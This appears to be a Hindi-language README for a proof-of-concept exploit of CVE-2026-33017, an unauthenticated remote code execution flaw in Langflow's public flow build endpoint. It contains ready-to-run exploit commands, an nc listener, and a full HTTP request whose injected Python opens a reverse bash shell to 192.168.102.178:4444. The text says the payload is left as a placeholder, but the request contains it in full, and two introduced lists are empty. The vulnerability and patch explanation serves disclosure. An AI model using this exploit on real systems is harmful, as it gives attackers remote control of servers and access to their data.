
Langflow RCE
★ CVE-2026-33017 Langflow रिमोट कोड एक्ज़ीक्यूशन PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
कमजोर Langflow पर्यावरण को बनाने और चलाने के लिए निम्न कमांड का उपयोग करें:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
कमजोर Langflow इंस्टेंस शुरू करने के बाद, टारगेट URL, Public flow ID और अटैकर कॉलबैक पते के साथ PoC चलाएँ।
विकल्प A — अपना खुद का लिसनर उपयोग करें:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
विकल्प B — --listen के साथ बिल्ट-इन लिसनर उपयोग करें:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| विकल्प | विवरण |
|---|---|
--url | टारगेट Langflow सर्वर URL |
--flow-id | साझा किए गए Public flow का UUID |
--lhost | अटैकर कॉलबैक IP |
--lport | अटैकर कॉलबैक पोर्ट |
--listen | बाहरी nc के बजाय बिल्ट-इन लिसनर चलाएँ |
CVE-2026-33017, LLM एप्लिकेशन और AI वर्कफ़्लो को विज़ुअली बनाने के लिए उपयोग होने वाले ओपन-सोर्स प्लेटफ़ॉर्म Langflow की Public flow बिल्ड प्रक्रिया में रिमोट कोड एक्ज़ीक्यूशन (RCE) कमजोरी है।
बिना प्रमाणीकरण केbuild_public_tmpएंडपॉइंट पर क्राफ़्ट किया गया flow डेटा भेजकर, एक अटैकर सर्वर पर मनमाना Python कोड निष्पादित करवा सकता है।
CVE-2026-33017, LLM एप्लिकेशन और AI वर्कफ़्लो को विज़ुअली बनाने के लिए उपयोग होने वाले ओपन-सोर्स प्लेटफ़ॉर्म Langflow के निम्न Public flow बिल्ड एंडपॉइंट को प्रभावित करता है।
POST /api/v1/build_public_tmp/{flow_id}/flow
Langflow में एक Public flow को लिंक या समान तंत्र के माध्यम से अन्य उपयोगकर्ताओं के साथ साझा करने के लिए डिज़ाइन किया गया है।
इस सुविधा का समर्थन करने के लिए, बिल्ड एंडपॉइंट flow के nodes, edges और सेटिंग्स को पढ़कर, और उसे चलाने के लिए आवश्यक आंतरिक निष्पादन ग्राफ बनाकर, बिना प्रमाणीकरण के flow को निष्पादन के लिए तैयार करता है।
समस्या यह थी कि build_public_tmp के कमजोर संस्करण न केवल सर्वर पर संग्रहीत Public flow जानकारी को स्वीकार करते थे, बल्कि अनुरोध बॉडी में दिए गए data फ़ील्ड को भी स्वीकार करते थे।
यह data फ़ील्ड पूरी flow परिभाषा शामिल कर सकता था, जिसमें शामिल हैं:
परिणामस्वरूप, एक अटैकर सर्वर पर संग्रहीत वैध Public flow पर निर्भर रहने के बजाय, बिना प्रमाणीकरण वाले अनुरोध के माध्यम से पूरी तरह से अटैकर-नियंत्रित flow संरचना इंजेक्ट कर सकता था।
इस डिज़ाइन का एक विशेष रूप से खतरनाक हिस्सा Custom Component सुविधा है।
Langflow में, एक कंपोनेंट एक व्यक्तिगत कार्यात्मक ब्लॉक का प्रतिनिधित्व करता है जो इनपुट हैंडलिंग, मॉडल इनवोकेशन या आउटपुट जनरेशन जैसे कार्यों के लिए जिम्मेदार होता है। कस्टम कंपोनेंट एक एक्स्टेंसिबल ब्लॉक है जो उपयोगकर्ताओं को इसके व्यवहार को सीधे Python कोड में परिभाषित करने की अनुमति देता है।
इसलिए, एक अटैकर क्राफ़्ट किए गए data ऑब्जेक्ट के अंदर दुर्भावनापूर्ण Python कोड वाला कस्टम कंपोनेंट एम्बेड कर सकता था, और सर्वर इसे flow के सामान्य भाग की तरह प्रोसेस करता। परिणामस्वरूप, इंजेक्ट किया गया कोड बिल्ड या निष्पादन प्रक्रिया के दौरान पार्स और निष्पादित हो सकता था, जिससे अंततः रिमोट कोड एक्ज़ीक्यूशन हो सकता था।
| श्रेणी | संस्करण |
|---|---|
| कमजोर | Langflow 1.9.0 से पहले |
| पैच किया गया | Langflow 1.9.0 और बाद के |
GitHub Security Advisory प्रभावित सीमा को
<= 1.8.2के रूप में सूचीबद्ध करता है, लेकिन फिक्स —dataपैरामीटर को हटाना — 1.9.0 में लागू किया गया। इसलिए 1.9.0 से पहले के सभी रिलीज़ (1.8.3 / 1.8.4 सहित) प्रभावित हैं, यही कारण है कि CVE Record< 1.9.0बताता है।
इस कमजोरी का सफल शोषण एक अटैकर को Langflow सर्वर पर नियंत्रण प्राप्त करने और निम्न जैसी आगे की कार्रवाइयाँ करने की अनुमति दे सकता है:
निम्न PoC Langflow 1.8.1 पर CVE-2026-33017 को प्रदर्शित करता है।
अटैकर पहले टारगेट Public flow के flow_id की पहचान करता है।

अटैकर एक build_public_tmp अनुरोध भेजता है जो एक कस्टम कंपोनेंट इंजेक्ट करता है, जिसका Python code अस्थायी बिल्ड के दौरान सर्वर पर निष्पादित होता है। नीचे दिए गए अनुरोध में, code मान को प्लेसहोल्डर के रूप में छोड़ा गया है — पेलोड स्वयं डालें (अनुरोध के नीचे दिया गया नोट देखें)।
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
बिल्ड प्रक्रिया के दौरान, कस्टम कंपोनेंट में एम्बेडेड कोड सर्वर पर निष्पादित होता है। जब रिवर्स शेल वैरिएंट (exploit.py द्वारा स्वचालित) का उपयोग किया जाता है, तो अटैकर के लिसनर से एक कनेक्शन स्थापित होता है, जिससे अटैकर को सर्वर पर मनमाने कमांड चलाने के लिए एक इंटरैक्टिव शेल मिलता है।

हालाँकि build_public_tmp का उद्देश्य Public flows बनाना था, फिर भी कमजोर संस्करण अनुरोध बॉडी से सीधे आया data फ़ील्ड स्वीकार करते थे।
इस डिज़ाइन के कारण, अटैकर द्वारा आपूर्ति किया गया data सीधे सर्वर-साइड बिल्ड लॉजिक में पास हो जाता था, और कस्टम कंपोनेंट में एम्बेडेड किसी भी Python कोड को वैध flow का हिस्सा मानकर संभाला जाता था।
परिणामस्वरूप, अटैकर को सर्वर पर संग्रहीत मूल Public flow पर निर्भर रहने की आवश्यकता नहीं थी। इसके बजाय, वे अपनी पूरी तरह से दुर्भावनापूर्ण flow परिभाषा इंजेक्ट कर सकते थे, जिसमें सर्वर पर निष्पादित हो सकने वाला कोड भी शामिल था।
पैच के बाद, build_public_tmp अब बाहरी रूप से आपूर्ति किए गए data को स्वीकार नहीं करता है।
दूसरे शब्दों में, वह मार्ग जो पहले अटैकर्स को अनुरोध बॉडी के माध्यम से पूरी flow परिभाषा इंजेक्ट करने की अनुमति देता था, हटा दिया गया, जिससे दुर्भावनापूर्ण कस्टम कंपोनेंट्स के माध्यम से मनमाना कोड निष्पादन भी रोक दिया गया।
